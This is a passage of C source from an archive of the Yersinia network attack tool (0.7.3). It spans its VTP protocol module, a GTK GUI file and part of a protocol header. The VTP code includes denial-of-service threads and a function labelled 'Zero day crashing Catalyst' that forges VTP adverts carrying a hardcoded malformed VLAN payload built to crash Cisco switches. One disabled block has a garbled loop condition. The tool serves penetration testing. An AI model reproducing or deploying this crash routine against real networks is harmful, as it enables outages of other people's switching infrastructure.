= htonl(vlan+VTP_DOT10_BASE); memcpy((void *)(vlan_info+1),vlan_name,strlen(vlan_name)); cursor=(u_int8_t *)vlan_info; cursor+=vlan_info->len; memcpy(cursor, cursor2, (vlans+vlans_len)-cursor2 ); *vlen = vlan_info->len+vlans_len; *vlans_ptr = aux; return 0; } else /* Last VLAN... */ { return 0; } break; } /* We got it */ last_len = vlan_info->len; last_id = vlan_info->id; last_init = (u_int8_t *)vlan_info; cursor+=vlan_info->len; } /* Last VLAN...*/ memcpy((void *)aux,(void *)*vlans_ptr,vlans_len); vlan_info = (struct vlan_info *)(aux+vlans_len); vlan_info->len = sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name)); vlan_info->status = 0x00; vlan_info->type = VLAN_TYPE_ETHERNET; vlan_info->name_len = strlen(vlan_name); vlan_info->id = htons(vlan); vlan_info->mtu = htons(1500); vlan_info->dot10 = htonl(vlan+VTP_DOT10_BASE); memcpy((void *)(vlan_info+1),vlan_name,strlen(vlan_name)); *vlen = vlan_info->len+vlans_len; *vlans_ptr = aux; return 0; } void vtp_th_dos_del_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /* * Add 1 VTP vlan */ void vtp_th_dos_add(void *arg) { struct attacks *attacks=NULL; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("vtp_th_dos_del pthread_sigmask()",errno); vtp_th_dos_add_exit(attacks); } vtp_modify_vlan(VTP_VLAN_ADD,attacks); vtp_th_dos_add_exit(attacks); } void vtp_th_dos_add_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /* * Zero day crashing Catalyst!! */ void vtp_th_dos_crash(void *arg) { struct attacks *attacks=NULL; struct vtp_data *vtp_data, vtp_data_learned; struct pcap_pkthdr header; struct pcap_data pcap_aux; struct libnet_802_3_hdr *ether; struct timeval now; u_int8_t *packet=NULL, *cursor; sigset_t mask; /* Cisco vlans for crashing */ u_int8_t vlan_cisco[]={ 0x75, 0x00, 0x01, 0x07, 0x20, 0x00, 0x02, 0x0c, 0x03, 0xea, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8a, 0x66, 0x64, 0x64, 0x69, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x01, 0x01, 0x00, 0x00, 0x04, 0x01, 0x00, 0x00, 0x28, 0x00, 0x03, 0x12, 0x03, 0xeb, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8b, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2d, 0x72, 0x69, 0x6e, 0x67, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x04, 0x01, 0x00, 0x00, 0x24, 0x00, 0x04, 0x0f, 0x03, 0xec, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8c, 0x66, 0x64, 0x64, 0x69, 0x6e, 0x65, 0x74, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00, 0x02, 0x01, 0x00, 0x00, 0x03, 0x01, 0x00, 0x01, 0x24, 0x00, 0x05, 0x0d, 0x03, 0xed, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8d, 0x74, 0x72, 0x6e, 0x65, 0x74, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00, 0x00, 0x00, 0x02, 0x01, 0x00, 0x00, 0x03, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x20 }; sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("vtp_th_dos_del_all pthread_sigmask()",errno); vtp_th_dos_crash_exit(attacks); } attacks = arg; vtp_data = attacks->data; gettimeofday(&now, NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; if ((packet = calloc(1, SNAPLEN)) == NULL) vtp_th_dos_crash_exit(attacks); while (!attacks->attack_th.stop) { memset((void *)&vtp_data_learned,0,sizeof(struct vtp_data)); interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_VTP, NO_TIMEOUT); if (attacks->attack_th.stop) break; cursor = (packet + LIBNET_802_3_H + LIBNET_802_2_H); ether = (struct libnet_802_3_hdr *) packet; if (!memcmp(vtp_data->mac_source,ether->_802_3_shost,6) ) continue; /* Oops!! Its our packet... */ pcap_aux.header = &header; pcap_aux.packet = packet; if (vtp_load_values(&pcap_aux, &vtp_data_learned) < 0) continue; if ((vtp_data_learned.code != VTP_SUMM_ADVERT) && (vtp_data_learned.code != VTP_SUBSET_ADVERT) ) continue; if (vtp_generate_md5( NULL, vtp_data->updater, (vtp_data_learned.revision+1), vtp_data_learned.domain, vtp_data_learned.dom_len, vlan_cisco, sizeof(vlan_cisco), vtp_data->md5, vtp_data_learned.version) < 0) break; vtp_data->code = VTP_SUMM_ADVERT; vtp_data->followers = 1; if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE) { vtp_data->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE); } else { vtp_data->dom_len = vtp_data_learned.dom_len; memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len); } vtp_data->revision = vtp_data_learned.revision+1; usleep(200000); if (vtp_send(attacks)< 0) break; usleep(200000); vtp_data->code = VTP_SUBSET_ADVERT; vtp_data->seq = 1; vtp_data->vlan_info = vlan_cisco; vtp_data->vlans_len = sizeof(vlan_cisco); vtp_send(attacks); break; } free(packet); vtp_th_dos_crash_exit(attacks); } void vtp_th_dos_crash_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_exit(NULL); } int8_t vtp_init_attribs(struct term_node *node) { struct vtp_data *vtp_data; vtp_data = node->protocol[PROTO_VTP].tmp_data; attack_gen_mac(vtp_data->mac_source); vtp_data->mac_source[0] &= 0x0E; parser_vrfy_mac("01:00:0c:cc:cc:cc",vtp_data->mac_dest); vtp_data->version = VTP_DFL_VERSION; memcpy(vtp_data->domain, VTP_DFL_DOMAIN,sizeof(VTP_DFL_DOMAIN)); vtp_data->dom_len = VTP_DFL_DOM_LEN; vtp_data->code = VTP_DFL_CODE; vtp_data->start_val = 1; vtp_data->revision = 1; vtp_data->followers = 1; vtp_data->seq = 1; vtp_data->updater = ntohl(inet_addr("10.13.58.1")); return 0; } int8_t vtp_learn_packet(struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header) { struct vtp_data *vtp_data; struct pcap_data pcap_aux; u_int8_t *packet, *cursor, got_vtp_packet = 0; dlist_t *p; struct interface_data *iface_data; vtp_data = data; if ((packet = calloc(1, SNAPLEN)) == NULL) return -1; if (iface) { p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, iface); if (!p) return -1; iface_data = (struct interface_data *) dlist_data(p); } else { iface_data = NULL; } while (!got_vtp_packet && !(*stop)) { interfaces_get_packet(attacks->used_ints, iface_data, stop, header, packet, PROTO_VTP, NO_TIMEOUT); if (*stop) { free(packet); return -1; } cursor = (packet + LIBNET_802_3_H + LIBNET_802_2_H); pcap_aux.header = header; pcap_aux.packet = packet; if (!vtp_load_values((struct pcap_data *)&pcap_aux, vtp_data)) got_vtp_packet = 1; } /* While got */ free(packet); return 0; } /* * Return formated strings of each VTP field */ char ** vtp_get_printable_packet(struct pcap_data *data) { struct libnet_802_3_hdr *ether; u_int8_t *vtp_data, *ptr, *code, *cursor, i; char aux[MAX_VALUE_LENGTH + 1]; u_int32_t *aux_long; u_int16_t *aux_short; #ifdef LBL_ALIGN u_int32_t aux_long2; u_int8_t *aux2; #endif char **field_values, *tlv; struct vlan_info *vlan_info; u_int16_t vlans_len=0; char aux5[22]; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_VTP].nparams, protocols[PROTO_VTP].parameters)) == NULL) { thread_error("vtp_get_rpintable calloc()",errno); return NULL; } ether = (struct libnet_802_3_hdr *) data->packet; vtp_data = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H); /* Source MAC */ snprintf(field_values[VTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); /* Destination MAC */ snprintf(field_values[VTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2], ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]); ptr = vtp_data; /* VTP Version */ snprintf(field_values[VTP_VERSION], 3, "%02X", *ptr); ptr++; code = ptr; snprintf(field_values[VTP_CODE], 3, "%02X", *code); /* VTP code */ if (*code == VTP_SUMM_ADVERT) snprintf(field_values[VTP_FOLLOWERS], 4, "%03d", *(ptr+1)); if (*code == VTP_SUBSET_ADVERT) snprintf(field_values[VTP_SEQ], 4, "%03d", *(ptr+1)); ptr+=2; if (*ptr < 24)/*VTP_DOMAIN_SIZE )*/ { memcpy(field_values[VTP_DOMAIN], (ptr+1), *ptr); field_values[VTP_DOMAIN][*ptr]=0; } else { memcpy(field_values[VTP_DOMAIN], (ptr+1), 24); field_values[VTP_DOMAIN][24]=0; field_values[VTP_DOMAIN][23]='|'; } ptr+=33; aux_long = (u_int32_t *)ptr; switch(*code) { case VTP_SUMM_ADVERT: snprintf(field_values[VTP_REVISION], 11, "%010hd", ntohl(*aux_long)); aux_long++; #ifdef LBL_ALIGN memcpy((void *)&aux_long2, (void *)aux_long,4); aux2 = libnet_addr2name4(aux_long2, LIBNET_DONT_RESOLVE); strncpy(field_values[VTP_UPDATER],aux2,16); #else /* Source IP */ strncpy(field_values[VTP_UPDATER], libnet_addr2name4(*aux_long, LIBNET_DONT_RESOLVE), 16); #endif aux_long++; memcpy(field_values[VTP_TIMESTAMP],(void *)aux_long, 12); aux_long+=3; ptr = (u_int8_t *)aux_long; snprintf(field_values[VTP_MD5], 24, "%02X%02X%02X%02X%02X%02X%02X%02X|", *ptr, *(ptr+1),*(ptr+2),*(ptr+3),*(ptr+4), *(ptr+5), *(ptr+6),*(ptr+7));/*,*(ptr+8)),*(ptr+9), *(ptr+10)); *(ptr+11),*(ptr+12),*(ptr+13),*(ptr+14),*(ptr+15));*/ break; case VTP_SUBSET_ADVERT: snprintf(field_values[VTP_REVISION], 11, "%010hd", ntohl(*aux_long)); field_values[VTP_MD5][0]=0; field_values[VTP_UPDATER][0] = 0; ptr+=4; /* Point to VLANs info */ vlans_len = (data->packet + data->header->caplen) - ptr; cursor = ptr; i = 0; #ifdef KKKKKKKKKKK tlv = field_values[VTP_VLAN]; while( ((cursor+sizeof(struct vlan_info)) < (ptr+vlans_len)) && (ilen) > (ptr+vlans_len)) break; memset(aux,0,sizeof(aux)); snprintf(aux, MAX_VALUE_LENGTH, "VLAN %d", ntohs(vlan_info->id)); memset(aux5,0,sizeof(aux5)); snprintf(aux5, 20, "%s", (char *)(vlan_info+1)); write_log(0," tlv[%d]=%p %s '%s' vlan_info->len=%d vlan_info->name_len=%d\n",VTP_VLAN,tlv,aux,aux5,vlan_info->len,vlan_info->name_len); memcpy(tlv,aux,strlen(aux)); tlv+=strlen(aux)+1; if (vlan_info->len <= vlan_info->name_len) break; if (vlan_info->name_len) { if (vlan_info->name_len > MAX_VALUE_LENGTH) { memcpy(tlv,(void *)(vlan_info+1),MAX_VALUE_LENGTH); tlv+=MAX_VALUE_LENGTH+1; } else { memcpy(tlv,(void *)(vlan_info+1),vlan_info->name_len); tlv+=vlan_info->name_len+1; } } else { *tlv=0; tlv++; } i++; cursor+=vlan_info->len; write_log(0,"pasa cursor+=vlan_info->len...\n"); thread_usleep(500000); } #endif break; case VTP_JOIN: field_values[VTP_MD5][0] = 0; field_values[VTP_REVISION][0] = 0; field_values[VTP_UPDATER][0] = 0; break; case VTP_REQUEST: aux_short = (u_int16_t *)aux_long; snprintf(field_values[VTP_STARTVAL], 6, "%05hd", ntohs(*aux_short)); field_values[VTP_MD5][0] = 0; field_values[VTP_REVISION][0] = 0; field_values[VTP_UPDATER][0] = 0; break; } return (char **)field_values; } char ** vtp_get_printable_store(struct term_node *node) { struct vtp_data *vtp_tmp; char **field_values; /* smac + dmac + version + code + domain + md5 + updater + revision + * timestamp + startval + followers + null = 12 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_VTP].nparams, protocols[PROTO_VTP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) vtp_tmp = protocols[PROTO_VTP].default_values; else vtp_tmp = (struct vtp_data *) node->protocol[PROTO_VTP].tmp_data; /* Source MAC */ snprintf(field_values[VTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", vtp_tmp->mac_source[0], vtp_tmp->mac_source[1], vtp_tmp->mac_source[2], vtp_tmp->mac_source[3], vtp_tmp->mac_source[4], vtp_tmp->mac_source[5]); /* Destination MAC */ snprintf(field_values[VTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", vtp_tmp->mac_dest[0], vtp_tmp->mac_dest[1], vtp_tmp->mac_dest[2], vtp_tmp->mac_dest[3], vtp_tmp->mac_dest[4], vtp_tmp->mac_dest[5]); snprintf(field_values[VTP_VERSION], 3, "%02X", vtp_tmp->version); snprintf(field_values[VTP_CODE], 3, "%02X", vtp_tmp->code); memcpy(field_values[VTP_DOMAIN], vtp_tmp->domain, VTP_DOMAIN_SIZE); snprintf(field_values[VTP_MD5], 33, "%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", vtp_tmp->md5[0],vtp_tmp->md5[1],vtp_tmp->md5[2], vtp_tmp->md5[3],vtp_tmp->md5[4],vtp_tmp->md5[5], vtp_tmp->md5[6],vtp_tmp->md5[7],vtp_tmp->md5[8], vtp_tmp->md5[9],vtp_tmp->md5[10],vtp_tmp->md5[11], vtp_tmp->md5[12],vtp_tmp->md5[13],vtp_tmp->md5[14], vtp_tmp->md5[15]); parser_get_formated_inet_address(vtp_tmp->updater, field_values[VTP_UPDATER], 16); snprintf(field_values[VTP_REVISION], 11, "%010hd", vtp_tmp->revision); memcpy(field_values[VTP_TIMESTAMP], vtp_tmp->timestamp, 12); snprintf(field_values[VTP_STARTVAL], 6, "%05hd", vtp_tmp->start_val); snprintf(field_values[VTP_FOLLOWERS], 4, "%03d", vtp_tmp->followers); snprintf(field_values[VTP_SEQ], 4, "%03d", vtp_tmp->seq); return (char **)field_values; } /* * Load values from packet to data. */ int8_t vtp_load_values(struct pcap_data *data, void *values) { struct libnet_802_3_hdr *ether; struct vtp_data *vtp; u_int8_t *vtp_data, *ptr; u_int32_t *aux_long; u_int16_t *aux_short; #ifdef LBL_ALIGN u_int32_t aux_long2; u_int16_t *aux_short2; #endif vtp = (struct vtp_data *)values; ether = (struct libnet_802_3_hdr *) data->packet; vtp_data = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H); /* Source MAC */ memcpy(vtp->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(vtp->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN); ptr = vtp_data; if ( (ptr+sizeof(struct vtp_request)) > (data->packet + data->header->caplen)) return -1; /* Undersized packet...*/ /* VTP Version */ vtp->version = *ptr; ptr++; /* VTP code */ vtp->code = *ptr; ptr++; switch (vtp->code) { case VTP_SUMM_ADVERT: vtp->followers = *ptr; break; case VTP_SUBSET_ADVERT: vtp->seq = *ptr; break; } ptr++; if (*ptr < VTP_DOMAIN_SIZE ) { vtp->dom_len = *ptr; memcpy(vtp->domain, (ptr+1), *ptr); vtp->domain[*ptr]=0; } else { vtp->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp->domain, (ptr+1), VTP_DOMAIN_SIZE); vtp->domain[VTP_DOMAIN_SIZE]= '\0'; } ptr+=33; aux_long = (u_int32_t *)ptr; switch(vtp->code) { case VTP_SUMM_ADVERT: #ifdef LBL_ALIGN memcpy((void *)&aux_long2, (void *)aux_long, 4); vtp->revision = ntohl(aux_long2); #else vtp->revision = ntohl(*aux_long); #endif aux_long++; #ifdef LBL_ALIGN memcpy((void *)&aux_long2, (void *)aux_long, 4); vtp->updater = ntohl(aux_long2); #else vtp->updater = ntohl(*aux_long); #endif aux_long++; memcpy(vtp->timestamp,(void *)aux_long, 12); aux_long+=3; memcpy(vtp->md5, (void *)aux_long,16); break; case VTP_SUBSET_ADVERT: #ifdef LBL_ALIGN memcpy((void *)&aux_long2, (void *)aux_long, 4); vtp->revision = ntohl(aux_long2); #else vtp->revision = ntohl(*aux_long); #endif vtp->vlans_len = (data->packet + data->header->caplen) - (ptr+4); vtp->vlan_info = (ptr+4); break; case VTP_REQUEST: aux_short = (u_int16_t *)ptr; #ifdef LBL_ALIGN memcpy((void *)&aux_short2, (void *)aux_short, 4); vtp->start_val = ntohs(aux_short2); #else vtp->start_val = ntohs(*aux_short); #endif break; case VTP_JOIN: break; } return 0; } int8_t vtp_update_field(int8_t state, struct term_node *node, void *value) { struct vtp_data *vtp_data; u_int16_t len; if (node == NULL) vtp_data = protocols[PROTO_VTP].default_values; else vtp_data = node->protocol[PROTO_VTP].tmp_data; switch(state) { /* Source MAC */ case VTP_SMAC: memcpy((void *)vtp_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case VTP_DMAC: memcpy((void *)vtp_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* Version */ case VTP_VERSION: vtp_data->version = *(u_int8_t *)value; break; /* Code */ case VTP_CODE: vtp_data->code = *(u_int8_t *)value; break; /* Followers */ case VTP_FOLLOWERS: vtp_data->followers = *(u_int8_t *)value; break; /* Seq */ case VTP_SEQ: vtp_data->seq = *(u_int8_t *)value; break; /* Domain */ case VTP_DOMAIN: len = strlen(value); strncpy(vtp_data->domain, value, (len > VTP_DOMAIN_SIZE) ? VTP_DOMAIN_SIZE : len); vtp_data->dom_len = (len > VTP_DOMAIN_SIZE) ? VTP_DOMAIN_SIZE : len; break; /* Start value */ case VTP_STARTVAL: vtp_data->start_val = *(u_int16_t *)value; break; /* Revision */ case VTP_REVISION: vtp_data->revision = *(u_int32_t *)value; break; /* Updater */ case VTP_UPDATER: vtp_data->updater = *(u_int32_t *)value; break; /* Timestamp */ case VTP_TIMESTAMP: len = strlen(value); strncpy((char *)vtp_data->timestamp, value, (len > VTP_TIMESTAMP_SIZE) ? VTP_TIMESTAMP_SIZE : len); break; /* MD5 */ case VTP_MD5: memcpy((void *)vtp_data->md5, (void *)value, 16); break; } return 0; } int8_t vtp_end(struct term_node *node) { return 0; } yersinia-0.7.3/src/gtk-gui.c0000644000175000017500000001437712234207266013470 0ustar nknk/* * Initial main.c file generated by Glade. Edit as required. * Glade will not overwrite this file. */ #ifdef HAVE_CONFIG_H # include #endif #define _REENTRANT #include #include #include #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #include #include #ifdef SOLARIS #include #include #else #include #endif #include #include "gtk-gui.h" #include "gtk-interface.h" #include "gtk-support.h" void gtk_gui (void *args) { int tmp; struct term_node *term_node = NULL; time_t this_time; sigset_t mask; struct gtk_s_helper helper; struct interface_data *iface_data, *iface; GtkWidget *Main; GtkWidget *warningdialog; pthread_mutex_lock(&terms->gui_gtk_th.finished); terms->work_state = RUNNING; write_log(0,"\n gtk_gui_th = %d\n",(int)pthread_self()); iface_data = NULL; sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("gtk_gui_th pthread_sigmask()",errno); gtk_gui_th_exit(NULL); } if (pthread_mutex_lock(&terms->mutex) != 0) { thread_error("gtk_gui_th pthread_mutex_lock",errno); gtk_gui_th_exit(NULL); } if (term_add_node(&term_node, TERM_CON, (int)NULL, pthread_self()) < 0) { if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("gtk_gui_th pthread_mutex_unlock",errno); gtk_gui_th_exit(NULL); } if (term_node == NULL) { write_log(0, "Ouch!! No more than %d %s accepted!!\n", term_type[TERM_CON].max, term_type[TERM_CON].name); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("gtk_gui_th pthread_mutex_unlock",errno); gtk_gui_th_exit(NULL); } this_time = time(NULL); #ifdef HAVE_CTIME_R #ifdef SOLARIS ctime_r(&this_time,term_node->since, sizeof(term_node->since)); #else ctime_r(&this_time,term_node->since); #endif #else pthread_mutex_lock(&mutex_ctime); strncpy(term_node->since, ctime(&this_time), sizeof(term_node->since)); pthread_mutex_unlock(&mutex_ctime); #endif /* Just to remove the cr+lf...*/ term_node->since[sizeof(term_node->since)-2] = 0; /* This is a console so, man... ;) */ strncpy(term_node->from_ip, "127.0.0.1", sizeof(term_node->from_ip)); /* Parse config file */ if (strlen(tty_tmp->config_file)) if (parser_read_config_file(tty_tmp, term_node) < 0) { write_log(0, "Error reading configuration file\n"); gtk_gui_th_exit(term_node); } if (pthread_mutex_unlock(&terms->mutex) != 0) { thread_error("gtk_gui_th pthread_mutex_unlock",errno); gtk_gui_th_exit(term_node); } #ifdef ENABLE_NLS bindtextdomain (GETTEXT_PACKAGE, PACKAGE_LOCALE_DIR); bind_textdomain_codeset (GETTEXT_PACKAGE, "UTF-8"); textdomain (GETTEXT_PACKAGE); #endif gtk_set_locale (); gtk_init (NULL, NULL); add_pixmap_directory (PACKAGE_DATA_DIR "/" PACKAGE "/pixmaps"); if (interfaces->list) iface_data = dlist_data(interfaces->list); else { gtk_i_create_warningdialog("Hmm... you don't have any valid interface. \ %s is useless. Go and get a life!", PACKAGE); gtk_gui_th_exit(term_node); } /* take the first valid interface */ if (strlen(iface_data->ifname)) { if (gtk_i_create_warningdialog(0, "Warning: interface %s selected as the default one", iface_data->ifname) < 0) gtk_gui_th_exit(term_node); if ((tmp = interfaces_enable(iface_data->ifname)) == -1) { if (gtk_i_create_warningdialog("Unable to use interface %s!! (Maybe nonexistent?)\n\n", iface_data->ifname) < 0) gtk_gui_th_exit(term_node); } else { iface = (struct interface_data *) calloc(1, sizeof(struct interface_data)); memcpy((void *)iface, (void *)iface_data, sizeof(struct interface_data)); term_node->used_ints->list = dlist_append(term_node->used_ints->list, iface); } } else { if (gtk_i_create_warningdialog("Hmm... you don't have any valid interface. \ %s is useless. Go and get a life!", PACKAGE) < 0) gtk_gui_th_exit(term_node); } helper.node = (struct term_node *)term_node; helper.edit_mode = 0; Main = gtk_i_create_Main (&helper); gtk_widget_show (Main); warningdialog = gtk_i_create_warningdialog ("%s", "Warning!!! This is an alpha version of the GTK GUI. Not all the options are implemented in this GUI, but if you are brave enough, you are allowed to test it and tell us all the bugs you could find (if you are able to survive!)"); gtk_widget_show (warningdialog); gtk_main (); write_log(0, "Exiting GTK mode...\n"); gtk_gui_th_exit(term_node); } /* * GUI destroy. End */ void gtk_gui_th_exit(struct term_node *term_node) { dlist_t *p; struct interface_data *iface_data; write_log(0, "\n gtk_gui_th_exit start...\n"); if (term_node) { for (p = term_node->used_ints->list; p; p = dlist_next(term_node->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); interfaces_disable(iface_data->ifname); } attack_kill_th(term_node,ALL_ATTACK_THREADS); if (pthread_mutex_lock(&terms->mutex) != 0) thread_error("gtk_gui_th pthread_mutex_lock",errno); term_delete_node(term_node, NOKILL_THREAD); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("gtk_gui_th pthread_mutex_unlock",errno); } write_log(0," gtk_gui_th_exit finish...\n"); terms->gui_gtk_th.id = 0; if (pthread_mutex_unlock(&terms->gui_gtk_th.finished) != 0) thread_error("gtk_gui_th pthread_mutex_unlock",errno); terms->work_state = STOPPED; pthread_exit(NULL); } yersinia-0.7.3/src/protocols.h0000644000175000017500000002006212234207266014136 0ustar nknk/* protocols.h * Definitions for protocol stuff * * $Id: protocols.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __PROTOCOLS_H__ #define __PROTOCOLS_H__ #include #include #ifdef SOLARIS typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; #endif /* Protocols info */ #define PROTO_ARP 0 #define PROTO_CDP 1 #define PROTO_DHCP 2 #define PROTO_DOT1Q 3 #define PROTO_DOT1X 4 #define PROTO_DTP 5 #define PROTO_HSRP 6 #define PROTO_ISL 7 #define PROTO_MPLS 8 #define PROTO_STP 9 #define PROTO_VTP 10 #define MAX_PROTOCOLS 11 #define PROTO_VISIBLE 1 #define PROTO_NOVISIBLE 0 #define NO_PROTO -1 #define ALL_PROTO 999 #define COMMON_TLV 69 /* Read the HGTTG */ #define PROTO_ALL 42 #define SNAPLEN 1500 #define MAX_PROTO_NAME 8 #define MAX_PROTO_DESCRIPTION 64 /* different packets received for stats */ #define MAX_PACKET_STATS 10 /* Packets minimum size */ #define CDP_MIN_LENGTH LIBNET_CDP_H + LIBNET_802_2SNAP_H + LIBNET_802_3_H #define DHCP_MIN_LENGTH LIBNET_DHCPV4_H + LIBNET_UDP_H + LIBNET_IPV4_H + LIBNET_ETH_H #define DOT1Q_MIN_LENGTH LIBNET_802_1Q_H #define DOT1X_MIN_LENGTH LIBNET_802_1X_H #define DTP_MIN_LENGTH 12 + LIBNET_802_2_H + LIBNET_802_3_H #define HSRP_MIN_LENGTH 20 + LIBNET_UDP_H + LIBNET_IPV4_H + LIBNET_ETH_H #define VTP_MIN_LENGTH 40 + LIBNET_802_2_H + LIBNET_802_3_H #define STP_CONF_MIN_LENGTH LIBNET_STP_CONF_H + LIBNET_802_2_H + LIBNET_802_3_H #define STP_TCN_MIN_LENGTH LIBNET_STP_TCN_H + LIBNET_802_2_H + LIBNET_802_3_H struct term_node; struct attacks; struct attack; struct pcap_pkthdr; struct words_array; struct pcap_data { struct pcap_pkthdr *header; u_int8_t *packet; char iface[IFNAMSIZ+1]; u_int32_t total; }; struct proto_features { int8_t field; u_int32_t value; }; /* Parameters field types */ #define FIELD_NONE 0 #define FIELD_HEX 1 #define FIELD_DEC 2 #define FIELD_STR 3 #define FIELD_MAC 4 #define FIELD_BRIDGEID 5 #define FIELD_IP 6 #define FIELD_TLV 7 #define FIELD_IFACE 8 #define FIELD_BYTES 9 #define FIELD_DEFAULT 99 #define FIELD_EXTRA 100 /* struct used for protocol parameters */ struct commands_param { u_int8_t id; /* ID */ char *desc; /* Description */ char *ldesc; /* Long description */ u_int16_t size; /* Size */ u_int8_t type; /* Type */ char *help; /* Help text */ char *param; /* Param text */ u_int16_t size_print; /* Allowed printable size */ u_int8_t row; /* Row where the field is displayed (ncurses and GTK) */ u_int8_t mwindow; /* 1 if appears in mwindow, 0 if not */ int8_t (*filter)(void *, void *, char *); /* Filtering function specific for protocol */ const struct tuple_type_desc *meaning; /* filed value description */ }; /* struct used for extra protocol parameters (TLV, VLANS, ...) */ struct commands_param_extra { u_int32_t id; char *desc; /* Description */ char *ldesc; /* Long description */ u_int16_t size; /* Size */ u_int8_t type; /* Type */ char *help; /* Help text */ char *param; /* Param text */ u_int16_t size_print; /* Allowed printable size */ u_int8_t mwindow; /* 1 if appears in mwindow, 0 if not */ const struct tuple_type_desc *meaning; /* field value description */ /* int8_t (*filter)(void *, void *, char *);*/ /* Filtering function specific for protocol */ }; /* Struct for the list of extra params */ struct commands_param_extra_item { u_int32_t id; u_int8_t *value; }; /* struct needed for giving info about packet fields and * letting the user to choose values when crafting the packet */ struct tuple_type_desc { u_int16_t type; char *desc; }; struct tuple_tlv { u_int16_t type; u_int8_t format; }; typedef int8_t (*init_attribs_t)(struct term_node *); typedef int8_t (*learn_packet_t)(struct attacks *, char *, u_int8_t *, void *, struct pcap_pkthdr *); typedef char **(*get_printable_packet_t)(struct pcap_data *); typedef char **(*get_printable_store_t)(struct term_node *); typedef int8_t (*load_values_t)(struct pcap_data *, void *); typedef int8_t (*update_field_t)(int8_t, struct term_node *, void *); typedef int8_t (*edit_tlv_t)(struct term_node *, u_int8_t, u_int8_t, u_int16_t, u_int8_t *); typedef int8_t (*init_commands_struct_t)(struct term_node *); typedef int8_t 